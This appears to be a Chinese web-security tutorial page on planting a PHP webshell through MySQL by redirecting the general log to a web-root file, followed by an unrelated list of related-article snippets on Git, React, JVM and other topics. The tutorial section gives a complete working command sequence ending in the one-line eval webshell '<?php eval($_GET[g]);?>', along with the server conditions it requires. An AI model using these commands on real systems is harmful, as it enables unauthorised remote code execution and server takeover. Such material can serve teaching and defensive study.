WEB安全--SQL注入--利用log写入webshell

server/2025/3/30 3:47:18/

一、原理:

        这也是对之前文章的补充:WEB安全--SQL注入--INTO OUTFILE-CSDN博客

        我们可以通过修改MySQL的log文件,用select关键字写入木马文件放在服务器物理地址中,通过访问物理地址getshell。

        

二、条件:


        用户有写入权限

        需要知道物理路径(绝对路径)

        需要能执行多行SQL语句

        关闭对单引号的转义(GPC)

三、利用方式:

sql">show variables like '%general%';            	 # 查看配置set global general_log = on;              		 # 开启general log模式,将所有到达MySQL Server的SQL语句记录下来。set global general_log_file = 'D:/WWW/evil.php'; # 设置日志目录为shell地址select '<?php eval($_GET[g]);?>'             	 # 写入shellset global general_log=off;                  	 # 关闭general log模式


http://www.ppmy.cn/server/179557.html

相关文章

手绘的思维导图怎么转成电子版思维导图?分享今年刚测试出来的方法

看到一份思维导图很好看&#xff0c;但是有点看不清了&#xff0c;怎么可以复制出新的思维导图&#xff1f;手绘的思维导图怎么转成电子版思维导图&#xff1f; 这时候可以把图片复制成一份可编辑的思维导图文件&#xff0c;我说下解决图片转换成思维导图的思路。只要原图片比…

[学习笔记]攻防世界-bug

打开场景&#xff0c;提示我们需要登陆 我们先注册一下 注册成功 我们登陆进去 我们点击Manage他提示我们admin才能进入 我们刷新抓包一下试试 Cookie里面除了PHPSESSID&#xff0c;多出来了一个user&#xff0c;看上去是md5加密的&#xff0c;我们尝试解密 这里尝试了好几个网…

Git撤回操作全场景指南:未推送与已推送,保留和不保留修改的差异处理

一、未推送到远程仓库的提交&#xff08;仅本地存在&#xff09; 特点&#xff1a;可直接修改本地提交历史&#xff0c;不会影响他人 1. 保留修改重新提交 git reset --soft HEAD~1 # 操作效果&#xff1a; # - 撤销最后一次提交 # - 保留工作区所有修改 # - 暂存区内容保持…

徘徊检测:视觉分析技术的安防新方向

利用视觉分析的方式检测徘徊检测 背景 随着时代的发展&#xff0c;失业率上升导致社会不稳定因素增加&#xff0c;安保问题愈发突出。特别是在住宅区、工厂、办公园区等公共场所&#xff0c;对于徘徊人员的检测成为确保安全的关键一环。传统的安保手段如人工巡逻、监控录像回…

(Kotlin)Android 自定义蓝牙扫描动画:多波浪扩散效果

这是一个用于 Android 的自定义 View&#xff0c;模拟蓝牙扫描时的多波浪扩散动画效果。每个波浪的半径逐渐增大&#xff0c;透明度逐渐降低&#xff0c;形成连续的波纹扩散效果。通过调整动画的延迟时间和时长&#xff0c;确保波浪之间的间隙较小&#xff0c;动画流畅且美观。…

JVM方法逃逸

根据对象逃逸的范围&#xff0c;可以分为方法逃逸和线程逃逸。 当对象被方法外部的代码引用&#xff0c;生命周期超出了方法的范围&#xff0c;那么对象就必须分配在堆中&#xff0c;由垃圾收集器管理。 public Person createPerson() {return new Person(); // 对象逃逸出方…

DML 数据操纵语言学习笔记

一、DML 核心概念体系 1.1 语言定位与边界 DML&#xff08;Data Manipulation Language&#xff09;作为 SQL 三大核心语言之一&#xff0c;专注于数据行级操作&#xff0c;区别于 DDL&#xff08;结构定义&#xff09;和 DCL&#xff08;权限控制&#xff09;。其核心指令包…

React(六)React过渡动画-CSS编写方式

React过渡动画 react-transition-group介绍 在开发中&#xff0c;我们想要给一个组件的显示和消失添加某种过渡动画&#xff0c;提高用户体验→可通过react-transition-group实现。React曾为开发者提供过动画插件 react-addons-css-transition-group&#xff0c;后由社区维护…